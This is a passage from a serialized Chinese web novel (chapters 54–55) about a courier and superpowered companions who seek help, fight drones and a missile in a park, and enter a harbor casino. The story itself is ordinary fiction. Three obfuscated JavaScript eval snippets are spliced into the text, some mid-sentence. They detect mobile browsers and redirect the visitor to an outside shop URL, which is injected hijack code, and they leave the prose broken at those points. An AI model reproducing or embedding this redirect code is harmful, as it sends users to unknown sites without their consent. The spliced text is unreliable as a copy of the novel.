“也不算…也算?”小象不太确定,“她没教过我什么,但算是看着我长大的,她的下属很多,但我算是在职时间最长的吧。” “那为什么不向她求助呢?”小三摊手,“你作为她的下属,遇到这种危及任务和生命安全的困难肯定要求助的吧。” 这样的逻辑对小象而言不成立,她并没有“遇到困难就求助”这样的习惯。遇到不懂的问题了?自己去搜索答案吧。她所接受的基础教育由线上教学系统提供,没有学校,自然也没有老师或同学这样的人存在。反倒是那位法庭书记一直看着她,无论成功还是失败,她都不会给出任何评价。 任务失败的情况小象其实也遇到过几次,道德法庭不给执行者发放任何工资或奖励,自然也不会有惩罚,有的只有罢免,也就是辞退,辞退倒是会有退休金之类的离职补偿。辞退的标准与招人标准一样仅书记可见,有些执行人在任务正常完成后莫名其妙就被辞退了,有的执行人任务失败多次却一直好好地待在自己的岗位上,比如说小象。 不知为何,小象一直没有收到她将被辞退的消息。 这是很奇怪的,小象在开始工作很久之后才发现,她好像一直站在一个很奇怪的位置上,作为一个很奇怪的人,但没有人试图修正她。 “我…”小象几乎只是在说给自己听,“我真的可以吗?这是我自己导致的结果吧…并不是不可抗力,也不是什么客观上完全无法解决的问题。我的工作本就是最简单的那部分,如果连这个都做不到的话…” 那她会变成一个更奇怪的人吗? “给她打电话吧。”小二突然开口了,这是她在这话题中第一次开口,这句话迅速吸引了所有人的注意力,但她只是看着小象继续说,“问问看吧,说不定她也在等你。” 怎么可能呢?小象条件反射地反驳道,“不——” “不可能的吧。”小四说,“人家是上下级关系,那是工作又不是过家家,该给援助的情况早就会说。你以为谁都和你一样,需要别人开门才能知道门外也有东西在?小象,你心里一定有没能被确认的厌烦情绪存在吧,听我说,别看那些是小到可以被忽略的小东西,往往小东西燃烧起来才能点着一大片。” 小象顿住了。 小二缓缓转头看向小四,认真道,“我确实有很长一段时间闭门不出,你所说的关于我的那些都没错,我也像你说的那样…没什么用。” 随后,她露出了浅淡,但确实存在的微笑,“但是现在我已经来到这里,也能这样朝你露出笑容了。” “…你在挑衅我吗?”小四的眼尾抽动起来,“先是要抓我去坐牢然后又在这里用笑容嘲讽我?你想说服我什么?无论是什么,你的表情只能让我觉得恶——” 小三连忙捂住了她的嘴,“哇你积点口德吧老东西。” 小二摇了摇头,看向小象说,“我应该能理解你的想法。有很长一段时间我不知该去哪,在公园喝酒,去市政厅领退役军人补贴金,在巷子里随意地用超能力对普通人施暴,回到公寓里看着自己过去的照片发呆,那时我以为自己永远无法离开那个房间里了。” 小象哑然,就小二现在的样子来看,谁都无法将她口中的那个人与她联系起来,她说话时语气也平静,就好像那是另一个人的事情。 闻言,小四狠狠咬了一口小三的手,靠钛合金牙获得了发言权,嘲讽道,“瞧瞧,是谁把自己的日子过成这样的?那些骂我生活糜烂的媒体真该来看看你,你这——” “我是因为你才加入KPA的。”小二看向小四,平静地说,“那天,组织者来找我,说‘协会里有个人整天吹嘘自己见过真正的天才’。我过了好一会才意识到那是你,你说的是我,你还活着,还记得我。那时我站在公寓的门槛上,想的是‘为什么我没有早点去问问你呢’,以及…羞愧,你或许只是想吹嘘些什么,但如果你有哪怕一丁点可能是真的那样想的,都足以令我感到羞愧。” 小四没有说话,或许她该说些“你该当场去死”这样的话来堵住对方的嘴,但她没有,她只是听着。 “但是…”小二也继续开口说道,“但更多的是,我很开心,你还记得我。” “…被那个时候的我记得是件值得高兴的事吗?”小四疑惑。 “被你记得我就很高兴。”小二点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296773|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你们也算是朋友啊。”小三相当意外。 “打住。”小四连忙说,“她加入协会后可从没主动找我说过一句话。” 相对的,小四也从没主动找小二说过哪怕一句话,她的曲目歌词内容从未沾染友情,也从未邀请过小二作为自己复仇的伙伴。只是在不久前,她被执法者判罪之后,她充满怨恨地问小二:你为什么不站在我的身边? 仅仅如此而已。 “那你找她说过话吗?我猜都知道肯定没有。”小三咧嘴笑道,“‘真正的天才’什么的,没想到你年轻的时候说话还挺好听的嘛!” “…你想再被我咬一口吗?”小四威胁道。 “你这是袭警。”小三指责道,又摊手说,“不过我现在也算是下班时间,就勉强不让你罪加一等吧。” 说着她看向小二好奇道,“那你是怎么变成现在这样的?你说的也是目前超能力者普遍存在的问题,随意使用暴力且讨厌政府。” “没什么好说的…就是…”小二有些不好意思地握紧了手里的杯子,“就是那个超能力者维和委员会的宣传单…我按照那个上面的标准去生活的,看来也有点成效了。” “呜哇——”小四非常嫌弃地干呕了一声。 “你倒是给我也去照做啊!”小三对小四说,“从什么时候开始做一个道德的人都不晚,别等进监狱了,就现在,开始做一个文明有礼的老人吧!” “你觉得有可能吗?”小四不屑一顾,“多喝点吧,然后去做梦。” 小二笑了笑,看向小象说,“所以别等了,去问问她‘我该怎么办’吧?最坏也不过是被骂一顿了。” 思索片刻,小象抬起手呼唤吧台,“请再给我一杯。” 直到第三杯椰林飘香也消失一半,小象在众人注视下掏出了自己的通讯器,准备给书记发消息,紧张之下,她总觉得肩膀特别凉。 “别发消息,打电话。”小四说。 “…万,万一对方已经睡觉了呢?”小三也莫名紧张了起来。 “那咋了?”小四不以为意,继续说,“打电话,求助和借钱一样,都是打电话才好使的。” “…我们没给她打过电话。”小象说,毕竟无论何时书记都会立刻回复消息。 “嚯,那现在就是第一次。”小四起哄道,“来吧别磨磨蹭蹭的,这可是关乎咱们生命安全的大事!” 眩晕之中,小象产生了“打个电话似乎也可以”这样的念头,她注视通讯器屏幕许久,按下的拨号键。 播出成功后信号即刻接通,心跳加快,小象都不知道为什么自己这么紧张,明明当面说话的次数不少,隔台通讯器,对面的人又没可能突然性情大变。 没有“喂?”或者“这里是”,电话拨通后接电者没有吐出哪怕一个音节询问来者的目的,因为她从来都是被提问的那一个。小象深呼吸,开口道,“我,我是小象。” 这里怎么可以结巴?!她对自己的表现大失所望。 “我在听。”书记说。 “哦,好。”小象顿了顿,继续说道,“我,我目前的任务遇到了一点点困难…有个暗杀者试图销毁货物,我…目前我没办法对付她,但是也不是完全不行吧!只是,只是现在情况确实不符合预期,有个帮派组织也在试图阻止我们。这确实是我的问题,一开始过程很顺利,但是我因为一些个人的情绪问题…” 她的声音越来越低,头也越来越低,心里越来越后悔自己播出这通电话,就在她想就此打住假装无事发生并挂断时,对方再次开口了。 “暴力威胁以及地方组织不合作,我理解了。”她回答,声音一如既往地平静。 “…是的,抱歉。” “我会按照你的情况为你提供必要的援助,以帮助你完成任务。” “…谢谢,非常抱歉。” “那么在此次通话结束之前,我希望你回答我一个问题。” “是,是什么问题呢?” “你为什么会用这样的方式联络我?这是你第一次使用语音通话与我交流,而不是信息。” 为什么呢?小象看向别过脸去的桌上众人,最后低下头说,“抱歉,因为我喝了点酒。” “…我明白了,感谢你的回答。” 通话结束。 “这不是很简单的事嘛!”小四笑着转过头来对小象说,“那位领导大人也挺——诶你怎么…” 小象低着头,眼泪一滴一滴砸在桌子上,酒杯里,握紧杯壁的指间缝隙,她并不想哭,她只是觉得眼底发酸,眼泪自己就流出来了。 所以,“可能是眼睛干了吧。”她这样解释。 “总,总之结果是好的!”小三连忙递来纸巾,“她也没骂你不是吗?听上去也完全没生气,这么通情达理的领导可举世罕见,所以,别哭啦…” 小二没有说话,她拍了拍小象的背。 莫名其妙的情绪来得快去的也快,小象将杯中剩酒痛饮,抬起手呼叫吧台,“请再给我一杯。” 54. 陷落都市与超能力-下-2 没过几杯酒,通讯器便亮起通知任务,支援已送达最近的补给处。 “会是什么样的支援?”小三好奇道,“送达的话…不像是派人来支援你啊,什么武器能搞定那两个家伙?” “…我也不知道。”小象说,“但肯定能解决问题。” “太好了…”小二松了口气。 “…虽然很可疑,不过有转机就是好事。”小三也放松了些,“一会就出发吧,早点动身,最好趁她们从港区的混乱中恢复过来之前。” “…真是不好意思,但其实我也需要恢复一下。”小象说,她身上还痛着呢,而且醉意当头,现在她觉得自己闭上眼即可迅速入睡。 “也是。”小三叹了口气,“那就在这歇会儿吧,我会陪你们到早上的。” “我也是哦。”小四附和,“我需要恢复一下自己的状态,能拜托你给我点根烟上个妆然后再痛哭流涕地欢呼我的名字吗?” “…你没喝酒的能别发酒疯吗?”小三问道。 不知何时起酒吧里的客人逐渐离去,爵士乐依旧,原先那位调酒师先行一步回阁楼上休息了,现在空间里就剩她们一桌人以及哼着歌擦拭杯子的老板,以及未来任何可能会推门而入的顾客。 虽然不安静,不私密也不舒适,但或许是疲惫感作祟,小象忽然觉得在这里休息也不错。 “都休息吧。”小二说,“我会看着你们的。” 她的声音与语气都没有倦色,坐姿依然笔挺,身前的酒也没动过。 “辛苦你了。”小三打了个哈欠,拿帽子把脸盖住,往沙发角一靠便闭目养神去了。 “我又不睡觉,只剩下你这没意思的家伙和我聊天的话…那不是很糟糕吗?”小四嫌弃道。 “那我先睡了。”小象点了点头,趴下就准备睡觉。 “诶等下,我还有件挺好奇的事情。”小四问道。 “…就不能明天再问吗?”小象勉强抬起眼。 “你那位领导为什么用电子合成音和你对话?”小四问道,“神秘主义?个人爱好?还是说她也和我一样——” 后面的话小象没听下去,她脑子稍微一转就突然睡着了。在酒精与疲倦的加成下这注定是一场深沉得毫无余地的睡眠,像死去了一小段时间似的,睁眼便是新的一天了。 身上毯子滑落,小象抬头,本闭目养神的小二立刻抬起头看她,小四一反常态的安静,一颗头抵着墙壁像个摆设。 酒吧内没别的人了,小三在不久前离开去上班,她给小二留了话让她们小心点,港口区在混战后进行了持续整夜的搜查,结果证明小五大概率已经离开那一区域,不知何时会再次出现。而小六也将一部分责任怪罪在了引来小五的几人身上,下了追杀令,生死不论。 借酒吧卫生间简单洗漱后,几人向老板道谢并动身前往补给处。 现在还没到上班时间,薄雾笼罩城市街头,为那些在光线下暴露出的基建短板掩上了一层水做的纱。街头,交通系统比咖啡店更早开始营业,公交车走走停停,其经过的长椅上有用外套盖住头的人在睡觉,不知睡眠质量如何,反正侯车亭的灯比路灯关得更晚。 “你们两个昨晚聊得怎么样?”小象问道,一觉醒来她觉得自己的状态好了不少,不过情况糟糕了许多就是了。 “你为什么觉得我会和这家伙有话能聊?”小四问。 “还可以。”小二说。 “不错。”小象点头,“放心吧,我不会问你们都聊了什么的。” “…你不会是在指望我道谢吧?”小四冷哼,“与其想那种没营养的东西不如想想你们面对的问题吧,一晚上过去矛盾可以说翻倍升级,昨晚送来的支援还靠得住吗?要不要考虑再哭着求你上司——” 她没能把话说完,因为小象把猫包拎在手里甩了起来。 新的补给处位于市区西北地段的一处居民楼地下,小二再次变形为人类迷你版并跟随进入,补给处正中,一个明显是额外物品的箱子等在那里。 正如昨日小象提出的诉求,箱中有两件物品,分别用于解决两个问题:暴力威胁与地方组织不合作。对于前者,箱中放着一把类似冲锋枪的武器,那是针对人体与机械设备专用的□□,附带的文件介绍说该武器的子弹为智能追踪式激光弹,弹夹充电使用,最长射程五十米,已录入小五的生物信息并会在射程内出现危险火器拥有者时发出警报。 “那不仅是敌方,我方的电子设备也会被影响吧。”小二看着那把枪说,“我还没见过这种武器…是新研发的吗?” “可能吧。”小象递出大概半斤重的枪,“要试试看吗?” “啊,哦!”小二小心翼翼地接过和她现在差不多大的枪支,翻来覆去看了一会又说,“还是你用吧,这是给你的。” “一把□□还客气上了。”小四毫不犹豫地选择了嘲笑。 “到时候枪没用的话就麻烦你自爆了。”小象说着接过枪收好。 “…我可没有那种功能!”小四说。 针对第二个问题,箱子里只有一个薄薄的信封,就像是小象最常送的那种货物,毫无重量,但每个收货人接过时都面色难看得像是拿不动。 “这是给小六的。”小象确认箱内信息,“说是直接交给她就好。” “我们现在还见得到她?”小四冷笑,“我猜她更想看见我们的尸体。” “…如果我们一起哭着朝她忏悔呢?”小象问。 “你昨天拒绝她时的骨气呢?!”小四质问。 “…真的要哭吗?”小二犹豫地问。 “哈哈。”小象笑了,“我开玩笑的。” 关于这点,小三给出了一些建议,“你们可以提着小五的头去见她。” “…开玩笑的?”小象谨慎地问。 “哈哈。”小三说,“当然是认真的。” “那还不如让我哭着求她呢。”小象摇了摇头,“有别的办法吗?” 小三思索片刻后说,“如果你们只是想见到她的话,可以考虑回港口工人区那里找找门路,不过你们现在被下了追杀令得额外注意身份问题,而且期间小五随时可能出现。” 虽然危险,但这已经是眼下唯一能走的路了,几人又商讨了一番,做好了充足准备之后离开了补给处。 并在出门五分钟后即刻返回。 原因是□□的报警系统,走上街道不足五分钟警报响了三次,其又长又尖锐的声音还与警笛相似,要不是小二反应快她们根本跑不回来。小象又把那说明书从垃圾桶里翻出来看了两遍才从角落里挖出解决方案:□□全部功能都基于弹夹供电,那么将弹匣卸下,没电的□□自然也不会报警了。 装卸步骤不难,小象将弹匣单独放在趁手的口袋里,再次离开补给处。 在小象的预想中,有小二在身边的情况下她们不会因那追杀令遇到太大的麻烦,毕竟没人能杀得了她们。但很快她便意识到“追”的这部分也有够烦人的,进便利店买个早餐出来时会被人堵住,等红绿灯时会被刻意挤到身边的人群裹挟着移动到巷子里,小象想租个车,刚踏进门店身后卷帘门就“夸”得一下砸在了地上,角落里冒出四五个手拿扳手长棍的人说要送她们去人生的目的地。 这些挡路的人都被小二解决了,但路障遇多了就得想办法换条路走。 在一地狼藉中抬起头,白炽灯晃眼,听身后小二重新抬起卷帘门的声音,咔嗒咔嗒像是机关枪,小象现在非常怀念小三的警车,即使又窄又扁又破又急,但至少能将她们与这个城市隔开一扇车门的距离。 “…这种情况下开车更危险吧。”她深深地叹了口气。 “哦哦,是对自己的车技感到不自信吗?”小四问道。 “要从小路走吗?”小二回头问道,“我知道一些没人的路,应该能避开部分人,但需要绕点路。” “大概要多久?”小象问道,昨夜小三开车从港区到市中心才半小时。 “快的话,今晚能到。”小二说。 那就是还要和这颗会说难听人话的人头相处至少十个小时,意识到这一点的小象认真地打量起了小四的头,希望找到一处电源开关。 “你怎么知道我记得一条无人近路的?”小四说。 “…你怎么知道我想把你的电源关上的?”小象问。 “…我以为你眼神里暗含的热切是期盼,你太令我失望了!”小四指责道,“我要把你开除粉籍。” “你为什么会觉得我是你的粉丝?”小象不解道。 “我可是小四,你和我相处了这么久还没喜欢上我?!”小四不可置信道,随即又喃喃自语,“魅力值下降?不可能啊…果然是因为这身打扮和我风格不符吗…” “总之赶紧导航。”小象说着又忍不住怀疑道,“你真的会好心给我们带路?” 好不好心不知道,小四确实指出了一条没什么人走的快速通道。从市区向南,跨过从东部港口斜入陆地板块的运河再重新向东,一大面自然生态区在地图上标出了一块显眼的绿,万众瞩目的绿地体育场旁边是没什么人去的绿地森林公园,从园中租辆电动摩托便可快速穿行至东部出口。 体育馆从外部看像艘巨大的船,今日似乎有场活动,由乘客合成的湾流有序地从入口一路蔓延到停车场,壮观得足够令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296774|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感慨世上闲人之多。几人只远远看了眼,小四也是,她甚至没有主动提出靠近看看,只在瞥见那幅她的演唱会宣传海报时刻薄地评价了一番制作者的审美。 “那不是你的照片吗?”小象疑惑,“你把自己也骂进去了吧。” “那不是。”小四不满地说,“我上次演唱会之后就没拍过新照片了,想想我的吉它吧小不点。那照片一看就是合成的,看那恶心的表情,够不上我气质的一半。” 话是这样说的,但以后粉丝若是想再见她,也就只能回顾旧作或靠人工智能了,想到这里小象问道,“你就没想过你的粉丝不接受你现在的样子吗?” “能接受的才是我的粉丝。”小四毫不犹豫地说。 “…当你的粉丝真辛苦。”小象说。 “哼。”小四得意地笑了。 森林听上去像个很容易起火的地方,但森林公园则恰恰相反,因为水体在这里爬得到处都是。从远处看可用些美好形容词评价的微波浅绿湖面靠近后便不太亲人了,浅薄的一层湖水下,密集水草竖直抓向水面,明明没有风,不知道是什么东西扰动了它们,让它们身下的黑暗也鬼祟地扭曲了起来。 “真不想掉下去。”小象评价道。 进入几乎见不到人的公园后,她便迅速将□□的弹匣装上并随时准备开枪,小二驾驶,四座电动三轮在石板堆砌的二米宽林间小道一路穿行。四周植木体型算不上参天,但躲个人还是够的。 鸟鸣,枝叶晃动,水流,这些自然之音在无人之处成倍放大并随心所欲地选择自己的旋律走向,没有人指挥,或许它们不过是在排练,所以即使难听也没关系。除此乐之外就只有电瓶运行与轮子磕碰的声音,若是没有小五,现在的一切甚至可以说是放松的。 “滴—滴—滴—”□□拉长警报,鸟雀惊飞,小象心脏停跳一瞬,随即迅速加快。公园内安保人员不配枪,这里是和平地段,带着这种超规格武器进入其中的当然是危险份子。 警报探测范围是五十米,若对方只是凑巧靠近,那听见这鸣笛声也会选择尽快离开。 一秒,两秒,警报声没有停下。 小二缓缓慢下车速,片刻后又即刻加速,一道弹痕在原地冒出青烟,小象顺胆道望去,看见了比鸟雀大不了多少的无人机正匀速靠近,枪管冒烟。 但与鸟类相同的是,它也喜欢成群行动。 “前方两台,后方至少有六台!”小二说道,她没有停下手里的动作,电动车如游鱼般在小道上扭动行驶避开子弹,每次临近翻车又都能再侧回来。 小象抓紧把手,选择先瞄准前方上空的两个目标,没易拉罐重的□□在扣下扳机后也没带来任何后坐力,光球轻飘飘地飞出去,自动改变方向,触及一台正在移动枪管的无人机—— “滋——滋——”肉眼可见的闪电在机体边上如烟花般炸开,叶片停摆后不到一秒,机体便垂直向下,顺地心引力落在了地上。 三轮车毫不犹豫地碾过了地面上那堆或许可回收的垃圾,将其变得难以回收。 “好。”小象心下稍安,抬手正欲击落后方机体,车头,电动车后视镜带来的画面令她楞在原地:天边,一个黑色的不明物体在靠近,且越来越近,因其隐藏在无人机群之后而没被第一时间发现,现在,小象已经能听到它破开空气的声音了。 “…那是什么?!”小象惊异道,她连忙抬手瞄准那天外来客射击,但无人机群像早有准备一般主动凑上前来迎击,又射出子弹迫使小象不得不躲入车内避开。 小象咬牙重新在车内架起枪,射击,再次射击,直至那机群中间落出一片空白,她终于得以瞄准那异常之物,开枪—— 光球在半空中炸开了,那东西竟是还在射程范围之外。 “那是…!”小二也注意到了那个东西,而她明显也认识,脸色转瞬间凝重许多。 “那是什么?”小象一边击落无人机一边问道。 “M7快速部署型导弹…”小四也认出了来者,她语气里满是不可置信,“我记得这玩意儿不是已经被禁用了吗?!” 她这样的解释小象完全听不懂,但“导弹”两个字倒是好懂得不得了,它的意思是“让这玩意落地你们就完蛋了”,听明白这两个字的小象再次抬枪瞄准。弹头逼近,她甚至能看清那材料衔接处的缝隙,漆黑的,整齐的细线,像在给导弹指路一般直直地冲着枪口来。 开枪。 有效射程内,光球成功接触导弹,不足其十分之一大的能量体在顷刻间爆发出足够缠绕导弹全身的闪电,令其肉眼可见地颤抖—— ——并落在了地上,就像那些无人机一样。 55. 陷落都市与超能力-下-3 注目之下,导弹没有爆炸,落地冲击波仅仅是将电动车辆掀翻在地,提前准备好的小二带着小象与小四跳出车外,将手里碍事的东西放好后她紧盯那落地的导弹,谨慎地说道,“不要动,尽量贴近地面,放轻呼吸,不要说话。” “为什么?”小象疑惑地照做。 “它只会瞄准动起来的生物。”小二回答道。 不远处,那通体漆黑的大块头在地上滚动了几圈,突然像漏气一眼从缝隙出泄出大量不明气体,让满是硝烟味道的林中小路又多了些化学污染。随后圆滑的外壳裂动,展开,有什么东西即将从其中诞生。 “M7,最后一代自瞄高热发射器。”小四说道,“算起来这玩意和我差不多大,也和我一样不受某些人待见。很早之前它就因为违反人道主义和□□一起被公约禁用了,但和子弹不一样,它不该出现在这个世界上的任何地方。” 违禁物品从蛋壳中站了起来,尖锥体一层层叠高直到一米有余,顶端红光一闪而过,若是仔细看,便能看到尖嘴顶端的一颗小球悬浮在其上,正是那中心一点正散发着红光。 但如果是机器人的话…小象试图抬起枪。 “不要随便扣扳机。”小二用腹语说,“它很灵敏。” “我就可以说话哦。”小四莫名炫耀了起来。 那就拿你去当诱饵好了,小象心想。 好像对声音产生了反应一样,那到处乱转的红点忽然转向了她们,像是在怀疑一般旋动了几下。远处,有更多的无人机正在靠近,仗着自己并非生物而嚣张地轰鸣着。 “我可以避开一次她的攻击,等我指示,你对它进行射击。”小二说,“M7的射击间隔只有半秒左右,你必须和它同时行动。” 在发出指令时,哪怕是隔着脸部皮肤,她的声音也比寻常时候更加坚定有力。 “…等一下。”小四说道,“它…是不是和M7有点不一样?” 她晃动着,从猫包透气孔中仔细打量着对面的尖锥,“以前它可不会对声音这种程度的振动产生任何反应的…而且,瞄准器也不是磁悬浮的。” 没有人回答她,但无论如何,若是再不行动,逼近的无人机可不会对她们这样一动不动的基础靶视而不见。 “射击!”小二吼道,她几乎化为一抹阴影跳进了道路旁的树干后,几乎是在她发出声音的同时,一束手指粗的激光横空出现在她与那颗小球之间,光与热划开空间,创造一条短暂的空白。 射击!小象没有犹豫,对准那尖锥体连续扣下三次扳机,她没去看结果,继续瞄准已经进入射程范围内的无人机开枪,爆炸声此起彼伏,她听见很多东西掉落在地面上坏掉的声音,其中也包括那颗小球的。 “快去看一眼那家伙!”小四急切地喊道,“那不是M7…她现在可不能死了,赶紧去!” 小象只觉得心跳顿了一下,一边面朝无人机群射击一边退步靠近那棵藏着小二的树干,焦糊气味冲鼻,她退步,侧目,见那树干被烧出一个近拳头宽的洞,她再退一步,听见竭尽全力的呼吸声。 树干之后,小二趴伏在地,右耳连带部分脸颊消失不见,她并不是在吐血,血液自发地从她那无法被皮肤掩盖的口腔漏出。超能力起作用了吗?小象不知道,小二无法说话。 “她,她被击中了!”小象忍住手里的颤抖,一边射击一边向现场唯一能解答的小四问道,“右边的脸被击中的,她,她好像没办法治疗自己,怎么——” “赶紧走!”小四吼道,“这玩意会破坏人的循环系统,听我指路赶紧离开这里,不然这家伙就要死了!” 闻言,小象迅速收起枪启动发信器,左手拎起小四和箱子,右手抬起小二,远离了那对机械废墟。小四所指的路并非园区内的任何一条,她仅说明方向,让小象在树林与河道间穿行,密集树冠挡住人的视野也挡住了无人机,待再次停在平地上时,□□的警报声终于停了下来。 一切都变得很安静,这里是城市中心墓地,几座巨大墓碑与草地就是这里的全部。无处可去的人将骨灰留在地下,名字刻在碑上,远离人间试探,脱离苦海凶恶,于层层隔栏之后共享这拥挤的安宁。 小二还在呼吸,但小象将她放下时,她的身体几乎和石板一样硬。 “把她的胳膊平放,找到动脉,消毒。”小四指挥道,“我们的能力会从根本上消耗体能,她失血太多了,必须尽快输血。” “输我的?”小象问道,她不敢关闭发信器,生怕副作用影响治疗。 “你的有屁用。”小四嫌弃地说,“把我的吉它拿出来。” 小象看着她。 “拿出来。”小四重复,平静地。 于墓地之中,那把血肉吉它终于重见天日,它的风格与此地相符,本质却格格不入,过于有活力的填充物在音洞中自由舒展着,被小象拿起时几乎要自己跳走获得自由了。 “那根线,旁边那根,对,吉它左侧有个圆孔,对就那个,别用那一头!用针孔,对,别管尺寸了赶紧扎进去,另一头给她动脉扎上,直接拿把刀划开就可以,她能控制血流的不会大出血,赶紧的别犹豫!我看着呢,不会死的你放心,你下手啊倒是!” 历经种种磨难,小二终于输上血了,献血者是一把吉它,它没表达任何不满。 “…好想吐。”小象表达了自己的不满,确认小二开始痊愈后她将发信器关上,也不管地上有多脏,靠着一座还算新的墓碑坐下长出一口气。 四周安静,或许是因为没有什么能干扰她的情绪,此时的她也很平静。 抬头,薄云飘过晴空,无论在哪里抬起头都能看到这样的景象,即使是陷落都市也同样如此。而无论在哪,什么时候,留给死人的地方好像也都是差不多的,都是在地下。 或许是因为劫后余生,她看着涌动着树冠的蓝天,忽然就想到“如果刚刚我死了怎么办”这样的问题,紧接而来的却是“那我就成了殉职执行人之一了”这样的想法,除此之外,内心一派平和。 发呆的时间过去得很快,不知过去多久,小二的面孔悄然出现在了小象视野的角落,她的右脸留下了一块新鲜疤痕,右耳没能回来,只有头发飘在那里。 二人对视,小二先移开了视线。 “…你们在玩什么挑战游戏吗?”小四问道。 小象只是不知该说什么,小二面色平静,如果她沮丧到需要安慰,或者愤怒到需要开解,那小象都可以说些什么。但如果对方只是平静呢?“你没事吧?”这种只会引得人生气的话还是别说了吧。 “没有。”小二摇了摇头,问小象,“你没事吧?” 小象突然就笑了,看着不知所措的小二,她问道,“你有没有想过,自己刚刚死掉了怎么办?” 闻言,小二顿了顿,她认真地思索了许久,最后看向小象靠着的那块墓碑说,“那你们可以把我的名字刻在这里。” 她这样说,于是小象也转头看向碑面去寻找一个适合她的地方,这样一看居然让她找到个熟悉的名字:小一的名字被按照顺序刻在一个不起眼角落,看痕迹并不是昨天的,她来得太早了。 这不是问题的答案,小象心想,却也没有再追问了。 “…你倒是想得开。”小四也看向了那块墓碑,说道,“死亡可是个绝好的灵感来源,就这样放过了,多可惜。” “要我先把你的名字也刻在这里吗?”小二问。 “你不会是在诅咒我吧。”小四笑道。 “…不是。”小二无奈道,“哪天我死了,大概就没人会这么做了。” “…也对,就这么做吧。”小四点头了,“在还活着的时候给自己立墓碑也太摇滚了,我喜欢这个主意,你偶尔也能提供点灵感嘛。墓志铭的话我想想…” “公共墓碑可没地方给你展示性格。”小象打断道。 在那墓碑上又添几笔后,几人收拾着准备再次出发前往港区,那把吉它被重新收好,不知是否是小象的错觉,它比原先平静了不少。园区内围起了警戒线,在黄线把出入口也封上前,她们离开了森林公园。 靠近港区,一切都变得直观而忙碌了起来,用途各异的钢筋铁架支撑起了陷落都市最初的经济发展,却也因噪音与环境污染被排出市区规定范围外。 集装箱,彩色的集装箱,叠在一起的集装箱,排成一面墙的集装箱,到处都是的集装箱。没来过这里的人很难想象这世间居然有这么多东西需要运输,小象看了看自己手里的箱子,如果比质量的话它可不会输给在场的任何一位! 小三打电话来问森林公园内的动乱是否与她们有关,用陈述句。 “肯定是疯人院的手笔。”她断定道,又疑惑,“但你们没看到小五本人吗?” “如果她知道我们有新武器大概也不会想靠近吧。”小象说,“毕竟她全身上下都是机械,而且应该也受了不小的伤。说真的,如果她不想死的话现在也该放弃任务了。” “据我所知她可从没放弃过。”小三思索着说,“我排查了从港区到市中心的各种情报都没找到她,假如说她在森林公园袭击你们失败后还没有放弃,现在应该提前在港口那块埋伏起来了。” 小象怀疑地回头,灰黑海洋无动于衷。 “…得加快进度了。”小三说着顿了顿,犹豫道,“我知道一个办法能快速见到小六,但…有一定风险。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296775|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …什么办法?” “小六的地盘有一条绝对的规矩。” 港口最大的地下堵车在临近傍晚时刚刚开始营业,霓虹灯牌亮起,迎客侍者拖着刚醒来没多久的身体推开大门,哈欠打到一半,就被门前的来客吓了回去。 打头的那人带着面具,整面金属圆盘遮去她全部脸面,显然这是位没打算暴露自己身份的客人。而她身后似乎是保镖的人物则没对自己的面孔做丝毫遮掩,惨然的疤痕凶恶地注视着每个胆敢直视它的人,其所剩面部区域则透着不逊色疤痕的沉着面色,她低着头不说话,手里拎着一个奇怪的猫包。 侍者咽了口唾沫,摆出招牌笑容说道,“新面孔啊二位,今晚——” “我是来赌博的。”带着面具的小象说,“别废话了,你们这有什么能玩的?” “…我们是这儿最大的赌场,任何您想要的都能为您带来,不过…”侍者维持着笑容引几人走入充斥着刺眼灯光与激昂伴奏乐的内厅,在兑换筹码的窗口前停下,拍了拍手。 一旁走来两个守卫模样的角色站定,侍者开口说道,“我们这儿提供有关钱的任何服务,只要您需要。但您是第一次来,也不方便透露身份,不提供点个人信息的话我们很难为您展示全部的服务…” “个人信息?”小象问。 “主要是关于资金的。”侍者回答,“放心,我们不会查询除了数字外的任何信息。” 说一大堆其实就是要验资,小象顿了顿,将报销用的卡交给了对方,巴掌大的空白卡片上没用任何信息,侍者没有犹豫,笑着接过道谢并当着小象的面取出一台机器进行验证,五秒过后,卡片被双手递交归还,黑衣人匆忙退下,接待小象的侍者也换了个人。 “久等了尊贵的客人,今天想喝点什么?”笑容热切的新侍者带来了最贵的酒单,热毛巾与十枚筹码,“这是给您的见面礼,新客人也是新朋友,我多希望您能在这儿度过完美的一晚上。” 